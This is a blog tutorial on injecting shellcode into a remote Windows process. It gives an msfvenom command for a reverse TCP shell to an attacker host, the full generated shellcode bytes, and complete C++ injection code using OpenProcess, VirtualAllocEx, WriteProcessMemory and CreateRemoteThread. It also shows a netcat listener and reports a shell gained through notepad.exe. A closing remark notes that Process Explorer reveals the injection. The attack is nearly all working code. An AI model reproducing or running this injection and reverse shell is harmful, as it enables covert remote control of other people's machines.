← All posts

Executing Shellcode in Remote Process

Hello everyone I am Irfan and today, let’s delve into the topic of executing shellcode in Remote Process. So, let’s get started and explore this concept.

At a high level, shellcode injection can be broken up into four steps:

  1. Open a target process with all access rights.
  2. Allocate target process memory for the shellcode.
  3. Write shellcode to allocated memory in the target process.
  4. Execute the shellcode using a remote thread.

First of all we will generate shellcode using msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.122.1 LPORT=4444 -f c

Now create a cpp file named injection.cpp and we will start writing code for executing shellcode.

#include "windows.h"

int main(int argc,char *argv[]){
    unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x7a\x01"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
HANDLE processHandle = OpenProcess(
 PROCESS_ALL_ACCESS, // Defines access rights
 FALSE, // Target handle will not be inhereted
 DWORD(atoi(argv[1])) // Local process supplied by command-line arguments 
);

PVOID remoteBuffer = VirtualAllocEx(
 processHandle, // Opened target process
 NULL, 
 sizeof shellcode, // Region size of memory allocation
 (MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
 PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

WriteProcessMemory(
 processHandle, // Opened target process
 remoteBuffer, // Allocated memory region
 shellcode, // Data to write
 sizeof shellcode, // byte size of data
 NULL
);

HANDLE remoteThread = CreateRemoteThread(
 processHandle, // Opened target process
 NULL, 
 0, // Default size of the stack
 (LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
 NULL, 
 0, // Ran immediately after creation
 NULL
);

}

First open a target process using special parameters. OpenProcess is used to open the target process supplied via the command-line.

At step two, we allocate memory to the byte size of the shellcode. Memory allocation is handled using VirtualAllocEx. Within the call, the dwSize parameter is defined using the sizeof function to get the bytes of shellcode to allocate.

At step three, we use the allocated memory region to write our shellcode. WriteProcessMemory is commonly used to write to memory regions.

At step four, we now have control of the process, and our malicious code is now written to memory. To execute the shellcode residing in memory, we can use CreateRemoteThread; threads control the execution of processes.

Now compile this code.

Now I have started netcat in my attacker machine

nc -lvnp 4444

Now I need to find the process in which I will inject this code.

So I have chosen notepad.exe

Now run the compiled binary with pid of the program like this

Boooom….. we got shell on our attacker machine

Now open task manager and look for notepad.exe Here you can see notepad is doing something it should not ever be doing — spawning a cmd.exe.

You can check the notepad in ProcExplorer and it will reveal notepad.exe establishing TCP connection with a cmd.exe as a child.

I hope you enjoyed it, You can follow me here on LinkedIn or Twitter.